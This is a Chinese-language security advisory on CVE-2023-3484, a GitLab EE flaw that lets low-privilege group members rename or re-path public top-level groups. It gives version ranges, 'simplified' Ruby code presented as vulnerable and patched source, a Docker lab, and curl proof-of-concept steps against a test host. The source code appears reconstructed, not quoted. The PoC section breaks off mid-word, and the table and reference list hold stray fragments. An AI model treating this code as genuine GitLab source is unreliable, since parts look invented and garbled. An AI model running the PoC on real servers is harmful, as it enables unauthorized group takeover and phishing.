一、漏洞简介

1.1 漏洞背景

GitLab 使用组和子组来组织项目和资源。顶级组(Top-level Group)是组层级的根节点,其名称和路径(Namespace)通常受到严格保护,因为更改它们会影响该组下所有项目的 URL。

2023 年 7 月,安全研究人员发现,在某些特定条件下,普通用户可以修改公共顶级组的名称和路径,这可能导致严重的安全后果,包括钓鱼攻击、权限绕过等。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2023-3484
危害等级 HIGH / 8.0
漏洞类型 公共组名称/路径篡改漏洞
披露时间 2023-07-21
影响组件 GitLab 重大
  • CVE 编号: CVE-2023-3484
  • 危害等级: 高危 (High)
  • CVSS 评分: 8.0 (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H)
  • 漏洞类型: 权限提升 / 不正确的授权
  • 认证要求: 需要低权限认证
  • 影响组件: GitLab EE (Enterprise Edition) 的组管理功能

补充核验信息:公开时间:2023-07-21;NVD 评分:8.0(HIGH);CWE:CWE-863。

二、影响范围

2.1 受影响的版本

  • GitLab EE 12.8.0 至 15.11.10
  • GitLab EE 16.0.0 至 16.0.6
  • GitLab EE 16.1.0 至 16.1.1

2.2 不受影响的版本

  • GitLab EE 15.11.11 及以上
  • GitLab EE 16.0.7 及以上
  • GitLab EE 16.1.2 及以上

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 必须是 GitLab Enterprise Edition: CE 版本不受影响
  2. 公共顶级组: 攻击目标必须是 public 可见的组
  3. 攻击者拥有低权限: 攻击者需要是该组的成员(Guest 及以上)
  4. 特定配置: 某些组设置需要被配置为允许成员修改组信息

三、漏洞详情与原理解析

3.1 漏洞触发机制

该漏洞源于 GitLab EE 在处理组设置更新时的权限检查缺陷。在某些边缘情况下,权限检查逻辑未能正确验证用户是否有权修改顶级组的 namespace。

攻击流程:

  1. 攻击者加入目标公共组(或已经是成员)
  2. 通过 API 或 Web 界面发送特制的组设置更新请求
  3. 绕过权限检查,修改组的名称或路径
  4. 造成以下后果:
  5. 原组 URL 失效
  6. 可以创建同名组进行钓鱼
  7. 影响依赖该组的 CI/CD 流程

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置: app/services/groups/update_service.rb

# 漏洞代码逻辑(简化)
class Groups::UpdateService < Groups::BaseService
  def execute
    # 权限检查缺陷
    if can_update_group?
      # 允许更新,但检查不完整
      if params[:path].present? && can_change_path?
        group.path = params[:path]
      end
      group.save
    end
  end

  private

  def can_change_path?
    # 漏洞:没有检查是否为顶级公共组
    can?(current_user, :admin_group, group)
  end
end

实际触发场景:

GitLab 在处理组更新时,会检查用户的 admin_group 权限。但在某些条件下(如通过特定的 API 端点),这个检查可以被绕过:

# API 端点
namespace :api do
  namespace :v4 do
    resources :groups, only: [:update] do
      # 权限检查不完整
      put 'settings' => 'groups#update_settings'
    end
  end
end

# controller
def update_settings
  @group = Group.find(params[:id])
  # 这里可能没有调用完整的权限检查
  if @group.update(group_params)
    render json: @group
  else
    render_error(@group.errors)
  end
end

补丁对比:

# app/services/groups/update_service.rb
 def execute
-  if can_update_group?
+  # 增加顶级组路径修改的额外检查
+  if can_update_group? && can_modify_top_level_group?
     # ...
   end
 end

+def can_modify_top_level_group?
+  return true unless changing_path_or_name?
+
+  # 顶级公共组需要更高权限
+  if group.top_level_group? && group.public?
+    can?(current_user, :owner_access, group)
+  else
+    true
+  end
+end
+
+def changing_path_or_name?
+  params[:path].present? || params[:name].present?
+end

GitLab 的完整修复:

  1. 增加了顶级组的特殊权限检查
  2. 对公共组的修改增加了更严格的限制
  3. 添加了审计日志记录
# 修复后的完整代码
class Groups::UpdateService < Groups::BaseService
  def execute
    return error('Insufficient permissions') unless can_update_group?

    # 特别检查:修改顶级公共组
    if modifying_top_level_namespace?
      unless can_modify_top_level_group?
        return error('Cannot modify top-level public group without owner access')
      end
    end

    if group.update(allowed_params)
      log_audit_event if significant_change?
      success
    else
      error(group.errors.full_messages)
    end
  end

  private

  def modifying_top_level_namespace?
    return false unless group.top_level_group?
    params[:path].present? || params[:name].present?
  end

  def can_modify_top_level_group?
    # 必须是 Owner 或更高权限
    return false unless can?(current_user, :owner_access, group)

    # 公共组需要额外确认
    if group.public?
      # 可能需要管理员确认
      Feature.enabled?(:allow_public_group_rename, group)
    else
      true
    end
  end

  def log_audit_event
    ::Gitlab::Audit::Auditor.audit(
      name: 'group_namespace_changed',
      author: current_user,
      scope: group,
      target: group,
      message: "Changed group namespace from '#{group.path_was}' to '#{group.path}'"
    )
  end
end

四、漏洞复现(可选)

4.1 环境搭建

# 部署受影响的 GitLab EE
docker run --detach \
  --hostname gitlab.example.com \
  --publish 80:80 \
  --name gitlab-ee \
  gitlab/gitlab-ee:16.1.1-ee.0

# 等待启动
docker logs -f gitlab-ee

# 创建测试配置
# 1. 创建一个公共顶级组 "target-group"
# 2. 邀请测试用户为 Developer 或更低权限

4.2 PoC 演示与测试过程

步骤 1: 准备环境

# 创建攻击者账户
curl -X POST "http://gitlab.example.com/api/v4/users" \
  -H "Private-Token: ADMIN_TOKEN" \
  -d "email=attacker@example.com" \
  -d "username=attacker" \
  -d "name=Attacker" \
  -d "password=Password123!"

# 获取攻击者 token
# 登录后访问 http://gitlab.example.com/-/profile/personal_access_tokens

步骤 2: 加入目标组

# 作为管理员邀请攻击者加入组
curl -X POST "http://gitlab.example.com/api/v4/groups/1/members" \
  -H "Private-Token: ADMIN_TOKEN" \
  -d "user_id=2" \
  -d "access_level=30"  # 30 = Developer

步骤 3: 尝试修改组路径

# 正常情况下应该被拒绝,但漏洞存在时可以成功
curl -X PUT "http://gitlab.example.com/api/v4/groups/1" \
  -H "Private-Token: ATTACKER_TOKEN" \
  -d "path=new-group-name" \
  -d "name=New Group Name"

# 如果成功,返回 200 和更新后的组信息
# 如果失败,返回 403 Forbidden

步骤 4: 验证影响

# 检查原 URL 是否失效
curl -I http://gitlab.example.com/groups/target-group
# 应该返回 404

# 检查新 URL 是否生效
curl -I http://gitlab.example.com/groups/new-group-name
# 应该返回 200

# 检查权限
curl -H "Private-Token: ATTACKER_TOKEN" \
  http://gitlab.example.com/api/v4/groups/1
# 组信息应该显示新的名称和路径

**完整的 Python Po

五、修复建议与缓解措施

5.1 官方版本升级建议

  • 优先升级到 15.11.11 或同等后续安全版本。
  • 优先升级到 16.0.7 或同等后续安全版本。
  • 优先升级到 16.1.2 或同等后续安全版本。
  • 升级前请结合官方发布说明确认兼容性与回滚方案。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  • 在完成版本升级前,建议将相关服务限制在可信网络边界内,并最小化暴露面。
  • 对高风险接口、插件或调试功能实施临时下线、访问控制与日志监控。

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://about.gitlab.com/releases/2023/07/05/security-release-gitlab-16-1-2-released/

6.2 其他技术参考资料

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2023-3484
  • CVE:https://www.cve.org/CVERecord?id=CVE-2023-3484
  • https://gitlab.com/gitlab-org/gitlab/-/issues/416773
  • https://hackerone.com/reports/2035687
  • http://gitlab.example.com/api/v4/users"
  • http://gitlab.example.com/-/profile/personal_access_tokens
  • http://gitlab.example.com/api/v4/groups/1/members"
  • http://gitlab.example.com/api/v4/groups/1"